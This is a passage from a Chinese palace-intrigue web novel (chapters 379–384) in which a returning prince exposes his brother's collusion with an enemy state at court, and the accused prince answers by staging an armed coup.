看见沈琼华双眼微微泛红,眼眨也不眨地看着他,薄唇微微勾起,随后收敛情绪,收回视线,朝谢荣行礼道:“儿臣参见父皇!” 谢荣看着近在咫尺的谢南渊,才敢相信谢南渊是真的回来了,“好好好!渊儿,你果然不负父皇所望,平安回来了!” 说着,似是控制不住情绪般,伸手掩了掩眼角,将泪意憋回去,随后一掌拍在了谢南渊结实的臂膀上。 “回来就好!回来就好啊!” 对于永宁伯以及谢祁安的处罚,因着谢南渊的突然回归而中断。 谢荣心情颇好的由李顺全搀扶着回了龙椅上。 刚坐稳,谢荣便迫不及待地开口道:“渊儿,这到底是怎么回事?你失踪这许久,怎地突然回了京城?还有,这边关大捷可是真的?” 谢南渊闻言,却顾左右而言他,问道:“父皇,这是怎么回事?平宁为何会出现在这大殿之上?” 都说女子不得干政,洛希瑶会出现在早朝之上必定有因由。 而这因由谢南渊心中已然猜到了几分,但明面上还是要过问一遭的。 谢荣闻言,轻咳一声,心中不免生出几丝心虚,朝李顺全觑了一眼。 李顺全心中暗暗叫苦,却也不得不硬着头皮上前,将方才发生的事情一一说来。 当然,在他的口中,自是安王咄咄逼人,平宁郡主问心无愧,自愿接受搜查,而皇上是因着两方坚定,迫不得已才顺势而为搜查了镇国公府与安王府。 李顺全妙语连珠,所述‘实情’,谢荣非常满意。 谢荣本以为谢南渊会因镇国公府差点被冤枉而愤怒,却没想到谢南渊听完后,说的第一句话却是:“你说五皇子中毒了?差点咳血而亡?” 第三百七十九章 通敌叛国之人确有其人 谢荣听见这话,转动玉扳指的手倏而一顿,继而挑了挑眉,神色颇有些复杂。 李顺全原本也在等谢南渊问镇国公府的事,闻言微微一愣,反应过来后立马道:“啊,是是,不过瑞王殿下放心,平宁郡主寻来了裴医者,啊,就是当初为您解毒的那位。” “裴医者医术高超,想必用不了多久,五皇子殿下便能痊愈。” 谢南渊闻言,朝裴凉川看了一眼。 对方双手抱臂,眼睛炯炯有神,一副看好戏的姿态,见谢南渊看过来,还冲谢南渊挑眉微笑。 啧啧啧,精彩啊精彩,实在是太精彩了,这戏真是一出接着一出啊。 谢南渊抬脚一步一步朝裴凉川走去。 就在众人以为谢南渊要感谢裴凉川之时,谢南渊脚步却陡然转了个方向,径直冲向那跪在地上的谢祁安。 将他一脚踹倒在地,按住他的身体,朝脸上就是一拳。 谢祁安反应过来被谢南渊揍了,本就对其满腔怨怼,如何肯忍? 当即便要还回去。 眨眼的功夫,谢祁安与谢南渊便在百官面前,在皇上跟前,在这大殿之上,不顾形象地撕打了起来,拳拳到肉。 眼前这场景吓傻了众人,谢荣怒道:“还愣着干什么,还不快将他们拉开!” “哦哦,是!” 一群太监大臣上前帮忙,洛希瑶早就憋不住了,脚痒得很,趁着不注意,也混进去拉人,实际上却暗戳戳地朝谢祁安的身上踹了好几脚。 谢南渊武功高强,又在战场上经过数次拼死搏杀,谢祁安哪里会是他的对手。 又有洛希瑶这个促狭鬼在其中偷偷使坏,谢祁安基本上可以说是被单方面殴打。 等将谢南渊和谢祁安分开,谢祁安已是满面青紫,而谢南渊只嘴角有一点淤青,相较于谢祁安,可不要好太多。 谢南渊虽只受了一点伤,可他的脸色却比满脸青紫的谢祁安还要瘆人。 不等谢荣开口说什么,谢南渊便拱手道:“启禀父皇,这勾结陈国,通敌叛国之人确有其人,却不是镇国公,而是安王!” 谢荣眼眸微眯,谢南渊接着道:“此事还得从儿臣到达边关与陈国的第一次交战说起。”“那一战,输得惨烈,并非是指挥失误,而是有大量的陈国士兵在我军布防的薄弱之处以及埋伏地点出现,对我大越军队造成了极大伤害。” “且战败当晚,便有陈国死士成功混进我军军营,想要刺杀儿臣。” “儿臣当时便怀疑我军的边关军事分布,以及军营内的士兵巡逻分布已经泄露,于是立即便重新布置。” “就在重新布置当晚,陈国士兵夜袭,被我朝将士狠狠打了回去,这一回我们取得了胜利。” “而后一段时间,胜负各半,陈国的士兵总是出现在意想不到的地方,就好似长了眼睛一般,知晓我们的排兵布阵。” “此后又发生了两次战争,又是一胜一败,胜的那次是因为儿臣临时更改了战略部署。” “一次,可以说是巧合,这这么多次的巧合,令儿臣不得不怀疑这军中是否出现了奸细。” “俗话说,捉贼要拿脏,无凭无据的,军中的那些将领都是为我大越出生入死过的,凭白冤枉了谁,都是寒了人心。” “当又一次交战,儿臣负责断后,大军退回后,儿臣重伤逃离,摔下了斜坡,动弹不得,幸得一老伯所救。” “在老伯家将养了一段时间,身体恢复了一些之后,儿臣原本打算回军营,免得军中将士着急,累得父皇远在京城也跟着担忧。” “但儿臣左思右想后,又暂缓了回军营的计划,觉着此次机会难得,何不借此机会试探一二,揪出通敌叛国之人。” “遂悄悄与镇国公取得联系,想要试探一二。” “能知晓边关军事分布图以及军营士兵巡逻分布的人必不是简单人物,在我军中,肯定也有着较高的地位。” “遂与镇国公商议,将军中的副将皆带一队人马出来寻找儿臣,看看每一位副将找到疑似儿臣的人时的反应。” “逐一试探过去,却发现唯有林大将军手下的两位副将有异常。” “他们发现那形似儿臣的身影时,第一反应不是高兴,也不是带儿臣回军营复命,而是立即拔剑相向。” “这其中定然有鬼。” “遂秘密将这两位副将捆住,严刑拷打,才知晓他们是奉命行事。” “奉的,则是林大将军的命令。” “林大将军战功赫赫,绝不能蒙冤,遂只能再行试探。” 第三百八十章你可认罪? “陈国此次来犯,准备充足,这天寒地冻的,此战再打下去,对双方都没有好处,只会增加死亡人数。” “因着儿臣是重伤失踪,不仅是镇国公,连陈国都派出大量兵力想要借机绞杀儿臣。” “之前借住在老伯家养伤之时,都曾有好几拨陈国士兵来搜查,全赖老伯心好,家中有地窖,让儿臣藏身其中,才堪堪躲过。” “后来儿臣能下地走动了,便偷偷跟踪过那些陈国士兵,还真叫儿臣发现了他们的粮草位置。” “原本想要一把火烧掉了之,后又一想,正好借此事来设一局,试探林大将军一二。” “遂传信给镇国公,让其告知林大将军,有隐藏在陈国的线人发现了陈国粮草的藏匿地点,命其立即带兵前往摧毁,得令既出,不得延误,让其没有通风报信的机会。” “而儿臣则计算好时辰,时辰一到,不管林大将军是否前来,儿臣都会依计火烧粮草。” “后,林大将军果真未来,儿臣火烧粮草后便返回了军营,见到了镇国公,这才得知林大将军带兵出了军营后根本没有前往粮草藏匿的地点。” “反而是带兵去了相反的方向,而那处,有着林大将军接到命令后,令几名心腹先行临时弄出的十几辆装满杂草的木板车。” “因着时间太过匆忙,来不及多加掩饰,只能在上头盖了一层薄幔遮掩,试图趁着天色昏暗,直接下令点火,以混淆视听,骗过士兵们,被镇国公带兵当场抓获。” “林大将军矢口否认罪行,声称是天色太暗走错了路,可镇国公抓住了那几名弄假粮草的心腹,具都指认了是受林大将军所指使。” “林大将军拒不认罪,镇国公顾忌陈国粮草已烧,恐怕陈国会为了尽快解决战争抓紧时间拼力反扑,料到马上便会有一场恶战。” “遂也无暇顾及审问林大将军,只能将其关押,着人严加看守。” “当儿臣回到军营时,林大将军已被关押起来了,儿臣带人搜查林大将军的营帐,却一无所获。” “后来,陈国没了粮草,果然狗急跳墙,着急攻打,没了林大将军当内应,他们又没有足够的食物养活大军,很快便退兵了。” “天寒地冻,打仗本就劳民伤财,夺回城池后,儿臣便没有再追。” “原本想着给父皇报喜,可又想着林大将军一事需要父皇定夺,便让镇国公在边关处理战后事宜,儿臣则带着林大将军一干人等回了京城。” “一路快马加鞭,不曾过多停歇,方才刚过的城门,便进了宫,父皇若是不信,眼下林大将军便被押解在宫门外,父皇可以传唤审问。” 谢南渊面色冷若寒霜,漆黑的双眸中却蕴含着怒火,他用平淡的嗓音不疾不徐地将事情的经过一一说明。 尾音落下的一瞬,谢荣已是怒火滔天。 他猛地站起身道:“李顺全!传林大将军!” “是!”李顺全战战兢兢地道,转身便出去了。 事情急转直下,随着谢南渊的归来,事情的发展已经超出了沈琼华与洛希瑶掌控的范畴。 洛希瑶不知何时偷偷溜到了沈琼华的身边,轻轻戳了戳沈琼华的胳膊,小声惊呼道:“琼华,不会吧?这林大将军真的与陈国勾结了?” 这林将军的事迹,洛希瑶是听说过的,从一介小小的大头兵一步一步走到如今的位置,也算是光耀门楣了。 洛希瑶想不通,这样一个人,缘何非要做出那等通敌叛国之事,难道陈国许了他天大的好处不成? 让他能够冒着多年出生入死,所得功勋毁于一旦的风险,去为陈国卖命? 沈琼华早已眉头紧拧,轻声道:“你接着往下听便是,假的真不了,真的也逃不过。” 谢南渊的为人她清楚的很,是不会为着打击安王的势力,拿这种事情开玩笑的。 余光瞥向了永宁侯,却见其目光闪烁,周贵妃拧眉,目光惊疑。 沈琼华的视线又移到了低垂着头的谢祁安的身上。 谢祁安与林惜颜结亲,安王府和林府早就是一条船上的人。 难道她原本只想要以其人之道还治其人之身,却歪打正着了? 沈琼华在心里暗自嘀咕着,林将军就被两人架着抬上来了。 沈琼华打眼一看,竟还是熟人,临泽和纪北。 此刻的林将军早已没有了当初在边关与镇国公针锋相对时的威风,他全身都被一根足有一指粗的麻绳给绑着。 嘴里塞着粗布,蓬头垢面,披襟褴褛,华发丛生,好不狼狈。 临泽和纪北将林将军抬到殿前,给他解绑后,临泽一脚踹向林将军的膝窝,令其跪下,这才将他嘴中的粗布拿掉,离开了。 谢荣目光沉沉地看着林将军,“林将军,瑞王说你勾结陈国,你可认罪?” 林将军自然不认罪,他顾不上已经被绑的麻痹的四肢,颇为狼狈地朝谢荣磕头道:“皇上明鉴,绝无此时,这都是……都是瑞王和镇国公故意构陷臣的啊!” 谢南渊眼皮都没抬一下,只是淡淡地陈述事实道:“林将军莫不是以为只要你死不承认,这件事情就还有转圜的余地?没用的,死了这条心吧。” “你不承认有的是人会承认,你的心腹,之前跟随你一起出去烧‘粮’的士兵,那两个听从你的命令想要杀本王的副将,只要他们认罪了,你就是舌灿莲花,也歪曲不了事实。” 他看向谢荣道:“父皇,林将军弄出假粮草的那几个心腹,还有那两个副将,儿臣此次都一并带回来了,他们都可作证,父皇都可随时传唤。” “至于那些士兵,可能就要等还朝时,父皇再召见了,儿臣这里有名单,可以交给父皇过目,父皇可派人逐一询问。” 谢南渊一边说着,一边从衣袖中掏出一份名单,目光清正,一派坦然。 李顺全接过,转交给谢荣。 谢荣打开,看着上面密密麻麻的人名,重重地将其拍在扶手上,怒道:“这么多双眼睛都看到了,你还有何可狡辩的!竟还敢攀蔑瑞王与镇国公,具体都做了什么,还不快从实招来!” 林将军听着皇上的怒斥,一脸灰败,余光看向了谢祁安,心下一紧。 林将军闭口不言,谢南渊却不会这么轻易放过他。 谢南渊接着开口道:“父皇莫急,这林将军也是受人指使的,父皇要审问也应当审问罪魁祸首才是。” 说着,他瞥了眼谢祁安,对方恰好也在看他。 四目相对,具是冷若寒霜。 谢南渊从袖中掏出了一封信,递给了李顺全。 李顺全接过,立刻呈上去给谢荣。 谢荣看着上头的字迹,瞳孔一缩,将其打开看了起来。 第三百八十一章逆子,你笑什么! 他自顾看着,谢南渊的声音在大殿之上回响:“当初,虽然搜查林将军的营帐没有搜出什么有力证据,不过幸而,那晚行动的真正目的儿臣与镇国公并未声张。” “一来,是怕大战在即,传出林大将军通敌叛国会动摇军心,二来,也是看看是否还有同伙。” “军中将士皆以为林大将军带兵去偷袭粮草还未归来,并不知晓林大将军已经被转移到其他地方关押了起来。” “遂当一封信突然出现在了林大将军的案头时,这便是唯一的证据。” “而这封信是谁写的,父皇,您应当认得出来吧?” 人证物证俱全,已容不得谢祁安狡辩。 “逆子!逆子!”谢荣颤抖着放下信,手指指着跪着的谢祁安,“事到如今,你还有什么可说的!” “你觊觎储位,勾结陈国,结党营私,残害手足,全然置百姓,置大越,置朕于不顾,将那些礼义廉耻,忠君报国的教导全然抛之脑后,手段狠辣至极!” “朕若是不严惩你,如何向天下百姓交代,百年之后如何有颜面去见列祖列宗!来人!” 谢荣站起身道:“传朕旨意,安王谢祁安,勾结陈国,结党营私,残害手足,性情暴戾,害我大越士兵死伤无数,危及社稷。现今披露,朕念及祖宗基业,天下苍生,为正纲纪,着褫夺其王爵,贬为庶民,关押至刑部大牢。待其余同党肃清后,特赐自尽,以儆效尤!” “至于周贵妃,先关至冷宫,待审查清楚后,再行处置。” 周贵妃听到这个处置,当即花容失色,哭喊道:“皇上!皇上不要!你怎么能这么狠心,安儿是我们的儿子啊!你怎么能忍心将他赐死!” “皇上!不要啊!不行啊!”周贵妃说着,想要朝谢荣的方向扑去,李顺全一个眼神扫过,四五个小太监上前将其死死拦住。 “母妃!母妃!父皇!父皇你当真要杀二哥吗?二哥他只是一时糊涂,父子哪有隔夜仇,您放过他吧!” 安乐公主不知从何处撺了出来,扶住了即将跌倒的周贵妃,跪在地上泪如雨下地看着谢荣。 谢荣不为所动,只淡声吩咐道:“外头那些人是干什么吃的!还不快将公主带回去!” 几个宫婢上前拉扯安乐公主,安乐公主挣扎着不肯走,猛然见看见了洛希瑶,竟还想要伸手打洛希瑶,幸好沈琼华眼疾手快,将人往后拉了一把。 安乐公主没有打到人,咒骂道:“洛希瑶,你这个贱人!都是因为你!你这个贱人!什么都要与我争,心爱的男子要与我抢,宫中的荣宠要与我争,如今还害得我哥哥被父皇赐死!你个贱人!你不得好死!” 洛希瑶:??? 这个没脑子的在鬼叫什么? 那些伤天害理的事情都是安王自己人心不足蛇吞象做下的,也没有人强逼着他,结果如今被赐死了,这个脑患残疾的竟然把所有事情都推脱到她头上! 合着她镇国公府就该被安王算计,打不还口,骂不还嘴,由着她们母子三人算计呗! 什么玩意啊! 痴人说梦! 洛希瑶越想越气,嘴角抽动,她撩了撩袖子,想要不管不顾上前将安乐给打一顿。 反正方才皇上冤枉了她镇国公府,她也不要什么补偿了,她就想把安乐这个脑患有疾的给揍一顿。 脑中已经在思索着要打安乐哪里才能让她又痛又不留痕迹的,脚刚刚迈出一步,一只白皙柔嫩的手从旁边伸了出来,一把将她拽了回来。 是沈琼华。 洛希瑶一边挣扎,一边嘟嘴埋怨道:“琼华,你做什么,快放开我,我忍她很久了!” 沈琼华另一只手伸出食指抵在嫣红的唇瓣前,轻轻嘘了一声,“安分点,事情没有这么简单。” 沈琼华朝谢祁安的方向抬了抬下巴,道:“你就没发现,从王爷出现,到林将军被揭穿,再到如今皇上下旨要赐死安王,安王一句话都没说,一句辩解都没有吗?” 以她对谢祁安的了解,必定是会抵死辩驳一番的,不可能皇上将他赐死了,还这么平静。 便连永宁伯也是如此,永宁伯府依靠周贵妃母子,周贵妃母子如今一个赐死,另一个暂时被打入冷宫,永宁伯竟连求情都未曾求。 唇亡齿寒,她可不相信谢祁安勾结陈国一事,永宁伯未参与其中。 皇上说要肃清安王同党,首当其冲便是他。 永宁伯将永宁伯府的基业看得比什么都重要,不然当初也不会放弃阿娘,忍了林氏这么多年。 如今永宁伯府大厦将倾,他竟什么也不做? 不对劲!很不对劲! 这其中必有古怪! 经沈琼华一提醒,洛希瑶也察觉到有些不对劲,可安王已经到了这地步,难道还能翻出什么风浪不成? 洛希瑶嘀咕道:“难道他认命了?” 沈琼华轻轻摇头,“绝不可能。” 大殿之上,周贵妃与安乐公主与一群太监宫婢闹做一团。 百官窃窃私语,谢荣脸色阴沉。 “哈哈……哈哈哈……” 兀地,一道笑声响起,初时很小,似人低语说话,后愈来愈大,逐渐有疯狂之势。 谢荣蹙眉,看向声音来源,也就是谢祁安,“逆子!你笑什么!” 第三百八十二章 将安王即刻处死! 随着谢荣的话落下,周贵妃与安乐公主也紧张地看向谢祁安,似是生怕谢祁安有个好歹一般。 谢祁安对谢荣的问话置若罔闻,仍自顾自笑着。 等笑够了,脸上的笑容一收,腰板直立,紧接着是大腿,膝盖,撩起袍子,站了起来。 他伸手弹了弹身上沾染的尘土,才道:“父皇问儿臣笑什么……” 他扫视一圈,视线从谢南渊,沈琼华,洛希瑶,裴凉川身上一一略过,最后定格在了谢荣的脸上。 “自然是笑这荒诞无比的场景,笑大殿之上人人各有心思,笑厌恶之人命大居然还能平安归来,笑父皇你满嘴仁义道理,却做尽偏心之事,眼睁睁地看着我母妃与安乐丑态毕露,却满脸冷漠,无动于衷。” 谢荣双眼瞪大,怒道:“逆子!你坐下此等大逆不道之事,一桩桩,一件件,有违天理,罄竹难书,如今竟还敢来指责朕!” “逆子?”谢祁安唇齿间咀嚼着这两个字,兀地又笑了出来,他直直地看向谢荣的眼睛,与之对视。 “没错,我是逆子不错,可我也是被父皇你生生逼成这样的!” “若不是父皇你偏心,心中只有谢南渊,我何至于坐下这些事?” “我应得的东西你不给我,那我也只能自己争了。” “你!咳咳——”谢荣似是被气狠了,猛地咳了起来,李顺全连忙上前帮谢荣拍背顺气。 谢荣咳得脸都红了,才停了下来,怒道:“孽畜,你自己作恶多端,坐下这等错事,不思悔改,竟还敢将这些事情归咎于朕身上。” “这么多年,朕虽看重渊儿,可待你又有何亏欠?” “自幼便锦衣玉食,美味珍馐,延请名师教导,入朝历练,封王开府,可曾遗落你半点?” “朕这一众皇子中,除了渊儿,当属你最得朕看重,你的待遇比之大皇子,四皇子都要好得多,他们都不曾有过半句怨怼,唯有你锱铢必较。” “分明是你自己人心不足蛇吞象,太过贪心,竟还有脸来指责朕!咳咳咳——” 听着这些话,谢祁安的神情并未平复,反而愈加疯狂,“锦衣玉食?名师教导?入朝历练?封王开府?可是这些都有什么用呢?” “我想要的,父皇你始终都吝啬于给我,却对谢南渊无有不应。” “幼时的宠爱,储位的人选,只要有谢南渊在一日,即便我做得再好,父皇你的眼中都始终只有谢南渊,根本看不到我!” “可是凭什么?凭什么我所想要的东西,总是能被他轻而易举的抢走?” “不能这样的,不该这样的!” “父皇,你既生了我,又为何要生谢南渊,对他关怀备至,慈父之态,处处压我一头!” “他有你与镇国公在背后支持,年少成名,少年将军,是百姓与士兵口中的常胜将军,而我呢?” “我有什么?我若是不精于算计,机关算计,只怕连这一丝争夺之力都没有。” “你说我是逆子,那你呢?你对我母妃,对我和安乐,可有尽到丈夫和父亲的职责?” “你凭什么指责我!”谢祁安吼道,多年的嫉妒与不甘倾泻而出,目眦欲裂,面目狰狞额角青筋暴起。 周贵妃被谢祁安吓了一跳,连忙上前拉住谢祁安的手,“安儿,你住嘴!你疯了吗?你在胡说些什么!” 转而又跪在地上朝谢荣道:“皇上!皇上安儿他不是故意的,他就是一时失了神志,才胡言乱语的,还请皇上不要与他计较!” 安乐公主也被吓得不轻,听见周贵妃求情的话,猛地反应过来,也跪下求情道:“父皇!父皇,哥哥不是有意的,您别与他计较!” “我了个乖乖!”裴凉川不知何时走到了沈琼华与洛希瑶身旁,啧啧感叹道:“沈小姐,这皇宫还真是热闹的得很呐。” “我这才进宫第二日,这好戏是一出接着一出,看得人眼花缭乱,应接不暇了。” “这一出子责父之过,放在寻常人家中或许也就被人申斥一二,可这放在皇室当中,只怕……这安王的后手没有这么简单啊。” “到时,你可得护着点我啊,我家安锦还在食鼎楼等我回去呢。” “可不能让我进了一趟宫,将命都给丢了。” “我可是将我这些年存下的金子都给了安锦了,我若是这么早死了,安锦要是拿着我攒下的金子养面首,我就是死了都不会瞑目的。” 这话听得洛希瑶与沈琼华嘴角一阵抽搐。 尤其是沈琼华,她是知道裴凉川的本事的,一手毒术出神入化,可以治病救人解毒,也能用毒杀人。 真到了性命攸关之事,裴凉川可比她这个手无缚鸡之力的女子强多了,哪还用得着她护着。 沈琼华在心中默默想着,眼睛瞥向了皇上。 皇上并未因周贵妃与安乐公主的求情有所心软,反而愈加暴怒。 谢祁安不仅不害怕,反而弯腰将周贵妃与安乐公主扶起来,道:“母妃,安乐,你们不用求他。” “他都已经下旨想要赐死我了,想要我以死谢罪,你们求他还有什么用?” “我们不是他心尖上的妻子与子女,即便是死在他面前,他也不会为我们流一滴泪。” 谢祁安的声音极大,这些话清晰地传入了谢荣以及各位大臣的耳中。 “安儿……”周贵妃哽咽道,看着谢祁安的目光满是哀求。 求他不要再说了,求他好好跟谢荣认个错,说不定事情还有转圜的余地呢。 谢祁安垂眸看着周贵妃道:“母妃放心,儿臣今日必将让你如愿!” 周贵妃面色一变,听出谢祁安话里有话,“安儿,你要做什么?你要做什么!” 谢荣的面色已经不足以用难看来形容了,被谢祁安连番指责又当面阴阳,气得面色涨红。 “好,好啊,朕养了你一场,到头来竟落得你这般埋怨,多年教养竟将你养成一个不忠不义,不仁不孝的畜生。” “既如此,那也不必审查了,朕现在就将你处死。” “李顺全!” “奴……奴才在!” “将安王压下去,即刻处死!”谢荣下令道。 “啊……这……这……”李顺全瞪圆了眼睛。 皇上说的那些处死安王的话,难道不是气话吗? 这父子哪就有这般仇恨? 这安王虽不及瑞王,但到底也是皇上的亲骨肉啊! 虽说方才皇上下令说审查过后赐死,但皇上向来心软,等怒气下来之后,定然会改变主意。 最差的结果不过是终生监禁,永不见天日,但怎么样也比丢了性命来的强。 可安王方才那一番作死,让皇上怒气更加上涨,直接改为了即刻处死。 到时只怕皇上平静下来后反悔了,也于事无补。 李顺全支支吾吾的态度引起了谢荣的不满,谢荣一记眼刀横过去,吓得李顺全立刻恭声道:“是!奴才遵命!” 随后大声喝道:“御前侍卫何在!还不快将安王压下去,立即处死!” 李顺全话落,便有七八道身影直冲而上将谢祁安团团围住。 谢祁安环顾一圈,冷笑道:“父皇,你好狠的心,竟想直接杀了儿臣,不过此次儿臣不会坐以待毙了!” 说着,谢祁安将腰间佩戴的玉佩扯下,朝地上狠狠一砸。 顷刻间,一大批士兵鱼贯而入,手持长刀,将整个大殿都围了起来。 第三百八十三章 安王造反 “这这这……这是怎么回事?这些士兵是从哪来的?” “是啊,方才都没有……” “带兵围剿皇宫,安王……安王这是狗急跳墙了,要造反啊!” “什么!那我等怎么办?皇上怎么办?” 大臣们都慌乱极了,完全没想到谢祁安会突然造反。 他们今日早朝一开始不是讨论的是镇国公府通敌叛国吗? 即便是他们一开始还以为真有此事,后来也看明白了是安王构陷。 安王既然要诬陷镇国公府通敌叛国,又为何会偷偷带兵入宫,难道他早就料到了事情会到这一步? 随着士兵的包围,永宁伯府也站了起来,再不是方才那副恳求讨饶的神情。 洛希瑶看着周围这些凭空冒出来的士兵,猛地攥紧了沈琼华的胳膊,抑制不住的往后退了一步。 这……这些士兵……安王竟要造反! 这该如何是好! 她和琼华只以为安王今日只是要栽赃镇国公府,没料到表哥会突然回京,更没料到揭穿安王的真面目后,安王会一不做二不休,干脆造反。 如今皇上和百官都被安王给挟持住了,只怕她们和表哥都要危险了! 洛希瑶这般想着,朝沈琼华看去,便见沈琼华也是面色阴沉,显然也是被安王突然造反打得措手不及。 倒是谢南渊,只是眉头轻蹙,随后又松开了,还不忘朝琼华靠了靠,安慰了一句,“放心。” 沈琼华有些狐疑地看了他一眼。 放心? 放心什么? 这都火烧屁股了,他怎么还这么气定神闲呢。 两人之间的交流洛希瑶看得个清清楚楚,嘴角下意识地撇了撇:放心~ 哼! 怎么不见表哥安慰安慰她呢? 她知道她在表哥心里没有琼华重要,但眼下这场景连句安抚都没有是不是太让人心寒了? 亏她方才还为了他与安王激烈争辩,真是令人心寒。 洛希瑶眼神随意一扫,忽地对上一双眼睛。 是傅琛。 他一直都在关注着洛希瑶。 此刻见洛希瑶望过来,薄唇轻启:放心,有我在。 洛希瑶心尖顿时充满了甜蜜。 碍人眼的表哥似乎也不那么不顺眼了。 谢荣看着这些突然冒出来的士兵,顿时沉了眸。 李顺全有些惊慌地挡在谢荣身前,道:“这这这……安王!你这是要做什么?你要造反不成?” “来人!快来人啊!护驾!护驾!” 喊了半天,却未见一人! 谢祁安冷笑一声,“李公公尽管喊,除了这殿上的八个御前侍卫,其他人都进不来了!” 周贵妃和安乐公主脑子都是懵的。 她们只知晓今日要构陷镇国公府通敌叛国,后来得到消息说事情败露,反而是安王背上了通敌叛国的罪名,完全没想到安王竟打算今日谋夺帝位。 这么多日了,竟一点风声也没有透露。 周贵妃手都是抖的,“安儿……你……你……” “母妃,你对父皇还有情,儿臣怕你心软才未曾提前告知于你。”谢祁安道。 周贵妃满脸不可置信。 见状,永宁伯上前劝道:“娘娘,殿下也是为了您着想,您可不能犯糊涂啊!” 选丈夫还是选儿子? 这是一个极为艰难的选择,又好似是一个极为容易的选择。 周贵妃狠狠闭了闭眼,再睁开眼时,身体已经先一步做出了反应。 她一把拉过安乐公主的手,往后退了几步,不去看皇上的眼神。 而依靠在周贵妃怀里的安乐公主,面上惊惧害怕,可眼底深处,却藏着一份激动。 若是哥哥直接当了皇帝,是不是就能直接下旨命傅琛哥哥娶她了? 在场众人,各怀心思。 就在此时,谢荣似是缓过了神来,他推开挡在他身前的李顺全,直直地看向谢祁安。 “孽畜!你竟敢造反!” 谢祁安轻笑一声,道:“父皇,你不是已经看到了吗?又何必这么惊讶呢?” “你都想要赐死我的,难道还不允许我反抗吗?” 谢荣冷笑,“都到这个时候了,你休要将罪责归咎于朕身上,这是你一早就规划好的,你一早就准备要篡位了。” 谢祁安轻轻摇了摇头,有些伤感道:“父皇,你终究不够了解儿臣,儿臣若是想要篡位,又岂会等到现在。” “这史上,哪个弑夫篡位的,不是遭人诟病的,儿臣爱惜自己的名声,委实不愿身后遭后人唾骂。” “若是父皇今日按照儿臣的想法,以通敌叛国的罪名处置了镇国公府,这些士兵是断断不会出现在父皇面前的。” “可惜,事与愿违,儿臣设计不成,被人反将一军。” “若是如此也就罢了,若非必须如此,儿臣也不愿走此篡位这条路,舅舅替儿臣顶了罪,只要父皇借机而下,儿臣还是您的好儿子。” “可是偏偏,他回来了。” 谢祁安猛地转身,手指向谢南渊。 第三百八十四章 写禅位诏书! “他回来了,父皇你的眼中再也看不到别的皇子。” “即便是舅舅替儿臣顶了罪,儿臣今后也必定绝无登上储位之可能。” “以儿臣与他的关系,儿臣将来必定不得善终。” “既然如此,那儿臣就干脆反了,即便是身负骂名,即便身后要遭人唾弃,儿臣也绝不后悔!” “父皇,不要怪儿臣,要怪就怪你自己,若不是你太过偏心,儿臣又何至于走到今日这地步。” “亦或是,去怪谢南渊,若是他老老实实,安安分分死在边关,儿臣也不会这般破釜沉舟。” 谢南渊听到这话,眉头都没蹙一下。 洛希瑶却是憋不住了,“你这人脑子是不是有病?你行军打仗,文章策论,哪一样及上我表哥?皇上偏心我表哥不是应当的吗?” “自己不如别人,不知道努力上进,整日动歪心思,又心思狭窄,睚眦必报。” “如今自己造反,竟还有脸怪到别人身上,真是无耻至极!” “那不然照你这说法,我表哥就合该死在边关,好成全你呗,我呸!脸比本事还大,想得更美!” 洛希瑶一顿输出,直将谢祁安的面子撕下来扔在地上踩。 他一直觉着自己文才能力不输谢南渊,一切的根由不过是因着帝王的偏心,如今被洛希瑶揭破,自然要恼羞成怒。 他猛地朝洛希瑶走去,沈琼华连忙挡在洛希瑶身前,待转过头正要开口,却发现有一道更伟岸的身影,站在了她的面前。 看着眼前人的背影,沈琼华抿了抿唇,心中似是有一股暖流划过,酸酸的,瑟瑟的,带着一丝甜蜜。 谢南渊淡淡地瞥向谢祁安,“平宁并未说错,从前我大部分时间都在军中,自问从未与你争,明明是你,一直犹如毒蛇一般死咬着我不放。” “我常年不在京中,这本是的提升自己,在父皇面前表露才能,让父皇倚重你,看重你的最佳时期,可你却一心只顾在外营造你谦逊有礼,礼贤下士的形象。” “边关战乱,两国交界处的几座城池百姓流离失所,大越国库难以支撑,你身为大越的王爷,不想着想办法赶紧结束战事,反而从中作梗,与陈国勾结,为了一己私欲,拖延战事,甚至还拉拢林将军做你边关的爪牙,枉顾百姓性命。” “你这样的人,心中全然没有国家,没有百姓,难怪父皇看不上你。” “便是我,可看不上你!” “你看不上我?你凭什么看不上我!”谢祁安猛地上前攥住谢南渊的衣领,双目赤红。 “你怎知我没有再他面前表现!” “你有什么资格来指责我?你懂那种无论我做什么,在他心中都及不上你的无力感吗?” “只要你轻轻挥一挥手,便可得到我苦心经营的一切,凭什么!这根本就不公平!” 谢南渊蹙眉,一把甩开谢祁安,谢祁安踉跄了一下,稳住身形。 “所以,只要你死了,我头上的乌云便可散开,我便可得到我想要的。” “你将那些百姓的死归咎于我的身上,可要我说,若是你肯乖乖赴死,他们又怎会丢了性命?” “谢南渊,你的命怎么就这般硬!下毒,刺杀,上战场,死了那么多人,怎么就要不了你的命!”谢祁安吼道。 刺杀…… 谢南渊眼眸微眯,“刺杀?” 谢祁安嗤笑,“你装什么呢?我不信,你心中没有怀疑过我。” 谢南渊眸色一沉,“自然怀疑过,只不过,那次行宫狩猎……” “事到如今,我也不瞒你,是我做的又如何。”谢祁安道。 谢南渊的眼中掀起惊涛骇浪,“原来,早在那之前,你便就已经与陈国勾结在了一起,那些陈国死士,是你偷偷放进围猎场的!” “没错,谁让你要与我争,只是可惜,那次没能趁机杀了你!”谢祁安面目扭曲道。 “若你那次死了,也就不会有后面那诸多事了,那些百姓也就不会枉死了,你才是害死他们的罪魁祸首。” 还有一些话,谢祁安深埋在心底并没有说出来。 其实,此番与陈国交战,其实是他与陈国商谈好的。 陈国大军压境,他在朝中运作,争取出征的机会,其本意是联手,借机给他积累军功。 他与陈国约定,待他登基之后,将边关五座城池都让给陈国。 可谁知,中途出了一些变故,他被所谓的‘胜利’迷昏了眼,做下了一些事情,引得陈国毁约,因此后来才节节败退。 后来,谢南渊接手边关大军。 他心中愤恨非常,而陈国以往也在谢南渊手中吃了不少苦头,对谢南渊颇为忌惮,恨不能早日除之而后快。 这才两方一拍即合,联手除掉谢南渊,他承诺的城池由原先的五座提高到八座。 也是经由这件事情,他才真正看清楚了,他不如谢南渊。 陈国敢单方面与他撕毁盟约,却又因着忌惮谢南渊主动与他示好。 可是他不甘心,他那般努力却始终及不上谢南渊,所以他一直在自欺欺人。 可是终究未能如愿,谢南渊还是平安回来了。 所以,他必须,也一定要坐上皇位,只有那样才能证明是谢南渊不如他,才能真正将谢南渊踩在脚下。 此番言论着实是厚颜无耻,沈琼华从谢南渊身后站了出来,那双漂亮的眼中满是恨意。 